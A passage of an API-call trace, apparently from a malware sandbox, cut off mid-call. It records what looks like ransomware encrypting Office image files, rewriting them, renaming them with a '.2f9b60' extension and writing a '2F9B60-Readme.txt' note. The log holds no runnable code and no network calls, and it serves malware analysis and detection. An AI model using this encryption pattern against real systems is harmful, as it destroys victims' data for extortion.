[0132.681] RtlRandomEx (in: Seed=0x296bfb70 | out: Seed=0x296bfb70) returned 0x248a2ef2 [0132.681] RtlRandomEx (in: Seed=0x296bfb70 | out: Seed=0x296bfb70) returned 0x76e52299 [0132.681] RtlRandomEx (in: Seed=0x296bfb70 | out: Seed=0x296bfb70) returned 0x375054fe [0132.681] RtlRandomEx (in: Seed=0x296bfb70 | out: Seed=0x296bfb70) returned 0x1089d9c8 [0132.681] RtlRandomEx (in: Seed=0x296bfb70 | out: Seed=0x296bfb70) returned 0x63f683d9 [0132.681] RtlRandomEx (in: Seed=0x296bfb70 | out: Seed=0x296bfb70) returned 0x53138e7d [0132.681] RtlRandomEx (in: Seed=0x296bfb70 | out: Seed=0x296bfb70) returned 0x35c9cad4 [0132.681] RtlRandomEx (in: Seed=0x296bfb70 | out: Seed=0x296bfb70) returned 0x254e7859 [0132.681] RtlRandomEx (in: Seed=0x296bfb70 | out: Seed=0x296bfb70) returned 0x51363a82 [0132.681] RtlRandomEx (in: Seed=0x296bfb70 | out: Seed=0x296bfb70) returned 0x1f7cd85 [0132.681] RtlRandomEx (in: Seed=0x296bfb70 | out: Seed=0x296bfb70) returned 0x613acc06 [0132.681] RtlRandomEx (in: Seed=0x296bfb70 | out: Seed=0x296bfb70) returned 0xa886949 [0132.681] RtlRandomEx (in: Seed=0x296bfb70 | out: Seed=0x296bfb70) returned 0x1af76b18 [0132.682] RtlRandomEx (in: Seed=0x296bfb70 | out: Seed=0x296bfb70) returned 0x1364b8d4 [0132.682] RtlRandomEx (in: Seed=0x296bfb70 | out: Seed=0x296bfb70) returned 0x2dbfe8ba [0132.682] RtlRandomEx (in: Seed=0x296bfb70 | out: Seed=0x296bfb70) returned 0x4f046ed2 [0132.682] RtlRandomEx (in: Seed=0x296bfb70 | out: Seed=0x296bfb70) returned 0x17b9ba84 [0132.682] RtlRandomEx (in: Seed=0x296bfb70 | out: Seed=0x296bfb70) returned 0x77f447c7 [0132.682] RtlRandomEx (in: Seed=0x296bfb70 | out: Seed=0x296bfb70) returned 0x3b9660da [0132.682] RtlRandomEx (in: Seed=0x296bfb70 | out: Seed=0x296bfb70) returned 0x36be111c [0132.682] RtlRandomEx (in: Seed=0x296bfb70 | out: Seed=0x296bfb70) returned 0x38c36c6 [0132.682] RtlRandomEx (in: Seed=0x296bfb70 | out: Seed=0x296bfb70) returned 0x54f0e278 [0132.682] RtlRandomEx (in: Seed=0x296bfb70 | out: Seed=0x296bfb70) returned 0x1d29dc00 [0132.682] RtlRandomEx (in: Seed=0x296bfb70 | out: Seed=0x296bfb70) returned 0x56ce3673 [0132.682] RtlRandomEx (in: Seed=0x296bfb70 | out: Seed=0x296bfb70) returned 0x6609e86d [0132.682] RtlRandomEx (in: Seed=0x296bfb70 | out: Seed=0x296bfb70) returned 0x7c16b041 [0132.682] RtlRandomEx (in: Seed=0x296bfb70 | out: Seed=0x296bfb70) returned 0x67f66bdf [0132.682] RtlRandomEx (in: Seed=0x296bfb70 | out: Seed=0x296bfb70) returned 0x65802ba1 [0132.693] ReadFile (in: hFile=0x1b14, lpBuffer=0x41b39560, nNumberOfBytesToRead=0x708, lpNumberOfBytesRead=0x296bfb70, lpOverlapped=0x0 | out: lpBuffer=0x41b39560*, lpNumberOfBytesRead=0x296bfb70*=0x708, lpOverlapped=0x0) returned 1 [0132.694] SetFilePointerEx (in: hFile=0x1b14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.694] WriteFile (in: hFile=0x1b14, lpBuffer=0x41b2e130*, nNumberOfBytesToWrite=0x708, lpNumberOfBytesWritten=0x296bfb74, lpOverlapped=0x0 | out: lpBuffer=0x41b2e130*, lpNumberOfBytesWritten=0x296bfb74*=0x708, lpOverlapped=0x0) returned 1 [0132.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266e10 [0132.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266c60 [0132.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266c60) returned 1 [0132.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b2e130) returned 1 [0132.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b39560) returned 1 [0132.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dcf0) returned 1 [0132.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97a80) returned 1 [0132.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1cd97a80 [0132.698] SetFilePointerEx (in: hFile=0x1b14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0132.699] WriteFile (in: hFile=0x1b14, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x296bfc90, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x296bfc90*=0x126, lpOverlapped=0x0) returned 1 [0132.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3a20) returned 1 [0132.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97440) returned 1 [0132.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266c60) returned 1 [0132.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97a80) returned 1 [0132.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266e10) returned 1 [0132.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266d50) returned 1 [0132.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266d20) returned 1 [0132.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266c90) returned 1 [0132.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x118610 [0132.714] wcscpy (in: _Dest=0x118610, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImagesMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImagesMask.bmp" [0132.714] wcscat (in: _Dest=0x118610, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImagesMask.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImagesMask.bmp.2f9b60" [0132.714] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImagesMask.bmp.2f9b60", NtPathName=0x296bfcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataListIconImagesMask.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0132.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x1b776770 [0132.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776770) returned 1 [0132.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceccba0) returned 1 [0132.715] NtQueryInformationFile (in: FileHandle=0x1b14, IoStatusBlock=0x296bfd18, FileInformation=0x296bfd28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x296bfd18, FileInformation=0x296bfd28) returned 0x0 [0132.715] NtSetInformationFile (FileHandle=0x1b14, IoStatusBlock=0x296bfd18, FileInformation=0x296bfd28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0132.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118610) returned 1 [0132.717] FlushFileBuffers (hFile=0x1b14) returned 1 [0138.528] CloseHandle (hObject=0x1b14) returned 1 [0138.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050c500 [0138.571] wcscpy (in: _Dest=0x2050c500, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0138.571] wcscat (in: _Dest=0x2050c500, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0138.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0xffffffff [0139.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ee4 [0147.173] WriteFile (in: hFile=0x1ee4, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x296bfbd0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x296bfbd0*=0xba9, lpOverlapped=0x0) returned 1 [0147.258] CloseHandle (hObject=0x1ee4) returned 1 [0147.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c500) returned 1 [0147.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107480) returned 1 Thread: id = 1821 os_tid = 0xc54 [0132.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\dataviewiconimages.jpg")) returned 0x20 [0132.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImages.jpg", dwFileAttributes=0x20) returned 1 [0132.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\dataviewiconimages.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b18 [0132.708] GetFileSizeEx (in: hFile=0x1b18, lpFileSize=0x27aff9c0 | out: lpFileSize=0x27aff9c0*=5831) returned 1 [0132.708] SetFilePointerEx (in: hFile=0x1b18, liDistanceToMove=0x16c3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.708] ReadFile (in: hFile=0x1b18, lpBuffer=0x27aff940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27aff988, lpOverlapped=0x0 | out: lpBuffer=0x27aff940*, lpNumberOfBytesRead=0x27aff988*=0x4, lpOverlapped=0x0) returned 1 [0132.718] SetFilePointerEx (in: hFile=0x1b18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266c90 [0132.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266d20 [0132.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266d50 [0132.718] NtQuerySystemTime (in: CurrentTime=0x27aff880 | out: CurrentTime=0x27aff880*=132462177379582000) returned 0x0 [0132.718] RtlRandomEx (in: Seed=0x27aff870 | out: Seed=0x27aff870) returned 0x301dba33 [0132.718] RtlRandomEx (in: Seed=0x27aff870 | out: Seed=0x27aff870) returned 0x691dfe61 [0132.718] RtlRandomEx (in: Seed=0x27aff870 | out: Seed=0x27aff870) returned 0x710086cf [0132.718] RtlRandomEx (in: Seed=0x27aff870 | out: Seed=0x27aff870) returned 0x78aaba73 [0132.718] RtlRandomEx (in: Seed=0x27aff870 | out: Seed=0x27aff870) returned 0x7dec8d4c [0132.718] RtlRandomEx (in: Seed=0x27aff870 | out: Seed=0x27aff870) returned 0x3313fec7 [0132.718] RtlRandomEx (in: Seed=0x27aff870 | out: Seed=0x27aff870) returned 0x67846221 [0132.718] RtlRandomEx (in: Seed=0x27aff870 | out: Seed=0x27aff870) returned 0x46dfaaa6 [0132.718] RtlRandomEx (in: Seed=0x27aff870 | out: Seed=0x27aff870) returned 0x55043d9d [0132.718] RtlRandomEx (in: Seed=0x27aff870 | out: Seed=0x27aff870) returned 0x12643eef [0132.718] RtlRandomEx (in: Seed=0x27aff870 | out: Seed=0x27aff870) returned 0x71b034f4 [0132.718] RtlRandomEx (in: Seed=0x27aff870 | out: Seed=0x27aff870) returned 0x611aca76 [0132.718] RtlRandomEx (in: Seed=0x27aff870 | out: Seed=0x27aff870) returned 0x502fa1d0 [0132.718] RtlRandomEx (in: Seed=0x27aff870 | out: Seed=0x27aff870) returned 0x4edf0919 [0132.718] RtlRandomEx (in: Seed=0x27aff870 | out: Seed=0x27aff870) returned 0x37640842 [0132.718] RtlRandomEx (in: Seed=0x27aff870 | out: Seed=0x27aff870) returned 0x4881a2a9 [0132.719] RtlRandomEx (in: Seed=0x27aff870 | out: Seed=0x27aff870) returned 0xdc94a9c [0132.719] RtlRandomEx (in: Seed=0x27aff870 | out: Seed=0x27aff870) returned 0x74515bf6 [0132.719] RtlRandomEx (in: Seed=0x27aff870 | out: Seed=0x27aff870) returned 0x3ee12b8c [0132.719] RtlRandomEx (in: Seed=0x27aff870 | out: Seed=0x27aff870) returned 0x56c7bab6 [0132.719] RtlRandomEx (in: Seed=0x27aff870 | out: Seed=0x27aff870) returned 0x2969c263 [0132.719] RtlRandomEx (in: Seed=0x27aff870 | out: Seed=0x27aff870) returned 0x470a9c96 [0132.719] RtlRandomEx (in: Seed=0x27aff870 | out: Seed=0x27aff870) returned 0x195dff87 [0132.719] RtlRandomEx (in: Seed=0x27aff870 | out: Seed=0x27aff870) returned 0xac3b872 [0132.719] RtlRandomEx (in: Seed=0x27aff870 | out: Seed=0x27aff870) returned 0x649ac807 [0132.719] RtlRandomEx (in: Seed=0x27aff870 | out: Seed=0x27aff870) returned 0x1fb5745f [0132.719] RtlRandomEx (in: Seed=0x27aff870 | out: Seed=0x27aff870) returned 0x79f3e961 [0132.719] RtlRandomEx (in: Seed=0x27aff870 | out: Seed=0x27aff870) returned 0x2288a728 [0132.719] RtlRandomEx (in: Seed=0x27aff870 | out: Seed=0x27aff870) returned 0xb9e09ba [0132.719] RtlRandomEx (in: Seed=0x27aff870 | out: Seed=0x27aff870) returned 0x6c8bef3a [0132.719] RtlRandomEx (in: Seed=0x27aff870 | out: Seed=0x27aff870) returned 0x1c5a05e0 [0132.719] RtlRandomEx (in: Seed=0x27aff870 | out: Seed=0x27aff870) returned 0x4ca1a9cc [0132.725] ReadFile (in: hFile=0x1b18, lpBuffer=0x1cf0eee0, nNumberOfBytesToRead=0x16c7, lpNumberOfBytesRead=0x27aff870, lpOverlapped=0x0 | out: lpBuffer=0x1cf0eee0*, lpNumberOfBytesRead=0x27aff870*=0x16c7, lpOverlapped=0x0) returned 1 [0132.731] SetFilePointerEx (in: hFile=0x1b18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.731] WriteFile (hFile=0x1b18, lpBuffer=0x41b39560, nNumberOfBytesToWrite=0x16c7, lpNumberOfBytesWritten=0x27aff874, lpOverlapped=0x0) [0172.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6070 [0172.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5890 [0172.947] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5890) returned 1 [0172.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b39560) returned 1 [0172.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf0eee0) returned 1 [0172.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0172.948] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97a80) returned 1 [0172.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1cd97a80 [0172.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059920 [0172.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0172.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5890 [0172.950] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5890) returned 1 [0172.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x42059330 [0172.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5890 [0172.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5c80 [0172.951] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5c80) returned 1 [0172.951] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0172.951] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059920) returned 1 [0172.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11e) returned 0x42c20da0 [0172.952] SetFilePointerEx (in: hFile=0x1b18, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0172.952] WriteFile (in: hFile=0x1b18, lpBuffer=0x42c20da0*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x27aff990, lpOverlapped=0x0 | out: lpBuffer=0x42c20da0*, lpNumberOfBytesWritten=0x27aff990*=0x11e, lpOverlapped=0x0) returned 1 [0200.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c20da0) returned 1 [0200.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059330) returned 1 [0200.010] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5890) returned 1 [0200.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97a80) returned 1 [0200.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6070) returned 1 [0200.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266d20) returned 1 [0200.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266e10) returned 1 [0200.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266c60) returned 1 [0200.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x431eca20 [0200.012] wcscpy (in: _Dest=0x431eca20, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImages.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImages.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImages.jpg" [0200.012] wcscat (in: _Dest=0x431eca20, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImages.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImages.jpg.2f9b60" [0200.012] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImages.jpg.2f9b60", NtPathName=0x27aff9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImages.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd0) returned 0x1ced0040 [0224.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced0040) returned 1 [0224.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4309e2f0) returned 1 [0224.254] NtQueryInformationFile (in: FileHandle=0x1b18, IoStatusBlock=0x27affa18, FileInformation=0x27affa28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x27affa18, FileInformation=0x27affa28) returned 0x0 [0224.254] NtSetInformationFile (FileHandle=0x1b18, IoStatusBlock=0x27affa18, FileInformation=0x27affa28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0224.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431eca20) returned 1 [0224.791] FlushFileBuffers (hFile=0x1b18) returned 1 [0224.794] CloseHandle (hObject=0x1b18) returned 1 [0225.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1cd64dc0 [0225.715] wcscpy (in: _Dest=0x1cd64dc0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0225.715] wcscat (in: _Dest=0x1cd64dc0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0225.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0225.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd64dc0) returned 1 [0225.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac580) returned 1 Thread: id = 1822 os_tid = 0xecc [0132.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\dataviewiconimagesmask.bmp")) returned 0x20 [0132.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImagesMask.bmp", dwFileAttributes=0x20) returned 1 [0132.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\DataViewIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\dataviewiconimagesmask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b1c [0132.742] GetFileSizeEx (in: hFile=0x1b1c, lpFileSize=0x29fffb60 | out: lpFileSize=0x29fffb60*=1800) returned 1 [0132.742] SetFilePointerEx (in: hFile=0x1b1c, liDistanceToMove=0x704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.742] ReadFile (in: hFile=0x1b1c, lpBuffer=0x29fffae0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29fffb28, lpOverlapped=0x0 | out: lpBuffer=0x29fffae0*, lpNumberOfBytesRead=0x29fffb28*=0x4, lpOverlapped=0x0) returned 1 [0132.751] SetFilePointerEx (in: hFile=0x1b1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266e70 [0132.751] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266e40 [0132.752] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266de0 [0132.752] NtQuerySystemTime (in: CurrentTime=0x29fffa20 | out: CurrentTime=0x29fffa20*=132462177379894000) returned 0x0 [0132.752] RtlRandomEx (in: Seed=0x29fffa10 | out: Seed=0x29fffa10) returned 0x1f2c7f7b [0132.752] RtlRandomEx (in: Seed=0x29fffa10 | out: Seed=0x29fffa10) returned 0x5b8a3f11 [0132.752] RtlRandomEx (in: Seed=0x29fffa10 | out: Seed=0x29fffa10) returned 0x52cf7fda [0132.752] RtlRandomEx (in: Seed=0x29fffa10 | out: Seed=0x29fffa10) returned 0x6a52987a [0132.752] RtlRandomEx (in: Seed=0x29fffa10 | out: Seed=0x29fffa10) returned 0xb0c133c [0132.752] RtlRandomEx (in: Seed=0x29fffa10 | out: Seed=0x29fffa10) returned 0x3fee39d [0132.752] RtlRandomEx (in: Seed=0x29fffa10 | out: Seed=0x29fffa10) returned 0x488dabf6 [0132.752] RtlRandomEx (in: Seed=0x29fffa10 | out: Seed=0x29fffa10) returned 0x41710c47 [0132.752] RtlRandomEx (in: Seed=0x29fffa10 | out: Seed=0x29fffa10) returned 0x289ffaee [0132.752] RtlRandomEx (in: Seed=0x29fffa10 | out: Seed=0x29fffa10) returned 0x2eaa40c8 [0132.752] RtlRandomEx (in: Seed=0x29fffa10 | out: Seed=0x29fffa10) returned 0x291410e3 [0132.752] RtlRandomEx (in: Seed=0x29fffa10 | out: Seed=0x29fffa10) returned 0x607b897c [0132.752] RtlRandomEx (in: Seed=0x29fffa10 | out: Seed=0x29fffa10) returned 0x25a08848 [0132.752] RtlRandomEx (in: Seed=0x29fffa10 | out: Seed=0x29fffa10) returned 0x166a00eb [0132.752] RtlRandomEx (in: Seed=0x29fffa10 | out: Seed=0x29fffa10) returned 0x1af88fa5 [0132.752] RtlRandomEx (in: Seed=0x29fffa10 | out: Seed=0x29fffa10) returned 0x4d7548f9 [0132.752] RtlRandomEx (in: Seed=0x29fffa10 | out: Seed=0x29fffa10) returned 0x2c9b814a [0132.752] RtlRandomEx (in: Seed=0x29fffa10 | out: Seed=0x29fffa10) returned 0x1be0356b [0132.752] RtlRandomEx (in: Seed=0x29fffa10 | out: Seed=0x29fffa10) returned 0x1a363553 [0132.752] RtlRandomEx (in: Seed=0x29fffa10 | out: Seed=0x29fffa10) returned 0x3d441bbc [0132.752] RtlRandomEx (in: Seed=0x29fffa10 | out: Seed=0x29fffa10) returned 0x4b4fd33b [0132.752] RtlRandomEx (in: Seed=0x29fffa10 | out: Seed=0x29fffa10) returned 0x7a370740 [0132.752] RtlRandomEx (in: Seed=0x29fffa10 | out: Seed=0x29fffa10) returned 0x28a3c5c8 [0132.752] RtlRandomEx (in: Seed=0x29fffa10 | out: Seed=0x29fffa10) returned 0x21b4e09 [0132.752] RtlRandomEx (in: Seed=0x29fffa10 | out: Seed=0x29fffa10) returned 0x34522eb5 [0132.752] RtlRandomEx (in: Seed=0x29fffa10 | out: Seed=0x29fffa10) returned 0x689815be [0132.752] RtlRandomEx (in: Seed=0x29fffa10 | out: Seed=0x29fffa10) returned 0x61ef73c3 [0132.752] RtlRandomEx (in: Seed=0x29fffa10 | out: Seed=0x29fffa10) returned 0xcb7177a [0132.753] RtlRandomEx (in: Seed=0x29fffa10 | out: Seed=0x29fffa10) returned 0x57cfc438 [0132.753] RtlRandomEx (in: Seed=0x29fffa10 | out: Seed=0x29fffa10) returned 0x7b485c07 [0132.753] RtlRandomEx (in: Seed=0x29fffa10 | out: Seed=0x29fffa10) returned 0x5449cf92 [0132.753] RtlRandomEx (in: Seed=0x29fffa10 | out: Seed=0x29fffa10) returned 0x65e84249 [0132.763] ReadFile (in: hFile=0x1b1c, lpBuffer=0x41b2e130, nNumberOfBytesToRead=0x708, lpNumberOfBytesRead=0x29fffa10, lpOverlapped=0x0 | out: lpBuffer=0x41b2e130*, lpNumberOfBytesRead=0x29fffa10*=0x708, lpOverlapped=0x0) returned 1 [0132.764] SetFilePointerEx (in: hFile=0x1b1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0132.764] WriteFile (in: 